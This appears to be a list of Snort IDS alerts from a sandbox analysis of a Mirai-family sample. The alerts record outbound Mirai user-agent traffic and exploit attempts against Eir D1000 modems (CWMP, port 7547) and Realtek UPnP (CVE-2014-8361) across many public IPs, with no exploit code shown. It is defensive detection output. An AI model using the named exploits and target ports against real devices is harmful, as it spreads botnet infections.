Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:42716 -> 82.98.107.68:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60648 -> 213.190.31.208:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:48318 -> 82.66.109.116:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:46058 -> 213.202.231.71:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:49270 -> 213.32.127.57:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:42480 -> 213.208.132.22:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:51296 -> 82.64.116.50:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:58602 -> 213.192.39.3:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:48090 -> 213.136.35.202:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57496 -> 82.49.63.190:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:48430 -> 213.64.154.186:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:42734 -> 213.178.196.11:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:43484 -> 213.93.126.8:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:59178 -> 82.146.41.170:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:45454 -> 213.214.143.206:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:44302 -> 213.48.246.161:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:39568 -> 82.212.73.90:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53640 -> 213.29.114.115:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:44646 -> 82.81.34.234:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53774 -> 82.137.246.120:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:45098 -> 82.157.55.233:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:36688 -> 213.176.63.201:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56170 -> 197.31.130.64:7547 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56738 -> 78.84.169.230:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56196 -> 197.31.130.64:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:41440 -> 46.252.120.107:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:41442 -> 46.252.120.107:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:38180 -> 178.38.54.41:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:37982 -> 178.63.232.124:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:51896 -> 178.15.150.72:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:34520 -> 178.79.136.202:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:42052 -> 24.179.79.208:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35988 -> 14.60.202.206:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37554 -> 118.60.20.207:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:42112 -> 59.25.234.69:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:42060 -> 24.179.79.208:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44922 -> 177.129.29.75:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35994 -> 14.60.202.206:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37566 -> 118.60.20.207:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:42124 -> 59.25.234.69:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:34674 -> 221.148.100.37:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:51700 -> 116.86.84.49:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44940 -> 177.129.29.75:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37770 -> 147.192.104.102:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33474 -> 211.105.146.38:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:48278 -> 222.96.116.99:7547 |
Source: Traffic | Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:50878 -> 195.65.57.231:52869 |
Source: Traffic | Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:50880 -> 195.65.57.231:52869 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:36810 -> 27.233.58.3:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:51716 -> 116.86.84.49:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:51328 -> 121.74.167.237:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:37786 -> 147.192.104.102:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:34690 -> 221.148.100.37:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33490 -> 211.105.146.38:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:48294 -> 222.96.116.99:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:42898 -> 176.45.25.254:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:36828 -> 27.233.58.3:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:51346 -> 121.74.167.237:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:42952 -> 176.45.25.254:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35550 -> 197.11.146.237:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56402 -> 181.215.4.19:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:47478 -> 181.214.25.39:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46398 -> 179.156.11.138:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46012 -> 186.210.57.172:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:42876 -> 118.33.186.6:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:35576 -> 197.11.146.237:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56142 -> 181.54.73.67:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53548 -> 181.49.239.9:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:48710 -> 181.62.130.27:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:42324 -> 206.71.226.20:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46424 -> 179.156.11.138:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:47342 -> 181.14.245.28:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:46044 -> 186.210.57.172:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:44884 -> 181.89.213.65:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:42908 -> 118.33.186.6:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:34548 -> 181.166.25.234:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:54112 -> 74.83.7.30:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:52736 -> 75.212.227.167:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:45326 -> 178.215.208.66:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:54126 -> 74.83.7.30:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:37920 -> 178.128.236.143:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:52752 -> 75.212.227.167:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:51066 -> 50.106.195.57:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:51072 -> 50.106.195.57:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44790 -> 189.150.250.241:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33246 -> 37.36.30.251:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44796 -> 189.150.250.241:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33252 -> 37.36.30.251:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:55030 -> 178.32.225.61:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:58132 -> 178.254.16.211:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:34816 -> 178.151.189.125:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:45406 -> 86.94.239.65:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:40966 -> 86.139.120.153:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57632 -> 86.154.145.63:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:40780 -> 86.105.233.26:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:38594 -> 86.53.235.149:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53860 -> 86.202.182.22:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:58398 -> 86.180.112.36:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:35794 -> 95.110.227.13:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53720 -> 80.73.131.237:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56806 -> 80.211.189.91:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:47320 -> 80.211.138.243:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56388 -> 80.87.195.41:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:38432 -> 88.112.238.52:80 |
Source: Traffic | Snort IDS: 2027121 ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) 192.168.2.23:43056 -> 95.111.249.39:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:46792 -> 181.215.17.104:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:36648 -> 181.215.160.134:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:37880 -> 181.215.179.141:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:50396 -> 181.48.54.97:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:47536 -> 181.48.4.149:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:44100 -> 181.57.189.50:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:34550 -> 181.49.122.157:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:58462 -> 181.198.203.160:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:55326 -> 181.63.248.219:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:39060 -> 181.236.214.177:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56376 -> 181.54.73.67:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:35994 -> 181.12.134.21:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:51610 -> 181.41.235.56:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:59020 -> 181.124.39.236:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:59742 -> 83.169.33.81:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:40080 -> 189.18.181.89:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:33882 -> 83.244.198.54:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:36194 -> 83.223.107.24:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:48902 -> 139.178.40.68:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:48922 -> 139.178.40.68:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53126 -> 83.82.106.108:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:56784 -> 83.16.116.66:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:43328 -> 83.12.44.82:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44180 -> 78.173.142.13:7547 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:52880 -> 61.91.198.98:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:47830 -> 27.32.255.195:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:33404 -> 83.56.38.152:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:59814 -> 83.20.199.126:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:41960 -> 83.44.181.2:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53108 -> 99.236.112.179:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:54982 -> 99.227.1.13:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44202 -> 78.173.142.13:7547 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:54524 -> 61.248.141.5:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:52494 -> 71.68.252.223:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:40140 -> 189.18.181.89:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53132 -> 99.236.112.179:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:55006 -> 99.227.1.13:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:52520 -> 71.68.252.223:7547 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:47984 -> 61.160.202.101:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:47902 -> 27.32.255.195:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:55232 -> 66.66.111.10:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56952 -> 96.19.47.183:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:54484 -> 118.241.209.130:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:51824 -> 107.154.230.28:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:51828 -> 107.154.230.28:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:54580 -> 118.241.209.130:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:48852 -> 80.149.217.131:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:36762 -> 80.240.168.92:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:38110 -> 80.147.235.97:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:44778 -> 80.151.242.240:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:34886 -> 80.152.132.78:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:48232 -> 80.87.196.133:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:44472 -> 80.253.19.94:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53502 -> 80.199.48.226:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:57482 -> 189.110.204.235:7547 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:55500 -> 181.63.248.219:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:59504 -> 80.209.242.21:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:60894 -> 80.178.134.30:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:54240 -> 80.66.74.224:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:38500 -> 80.251.219.214:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57534 -> 80.251.223.230:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:57562 -> 189.110.204.235:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:48526 -> 27.32.12.40:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:55326 -> 66.66.111.10:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:57046 -> 96.19.47.183:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:48546 -> 27.32.12.40:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:49212 -> 32.209.206.248:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39076 -> 99.247.206.89:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:49220 -> 32.209.206.248:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39084 -> 99.247.206.89:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44314 -> 181.229.60.221:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:55416 -> 152.169.151.111:7547 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44330 -> 181.229.60.221:7547 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:58458 -> 5.2.99.126:80 |
Source: Traffic | Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:55432 -> 152.169.151.111:7547 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:49426 -> 5.3.82.15:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:44788 -> 122.248.210.96:80 |
Source: Traffic | Snort IDS: 2846457 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57176 -> 5.161.93.218:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:36206 -> 213.32.59.201:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:59852 -> 213.214.4.238:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:53542 -> 213.227.152.68:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:47724 -> 213.136.8.75:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:35044 -> 213.155.71.220:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:52334 -> 213.253.210.178:80 |
Source: Traffic | Snort IDS: 2846380 ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) 192.168.2.23:57200 -> 213.61.119.30:80 |
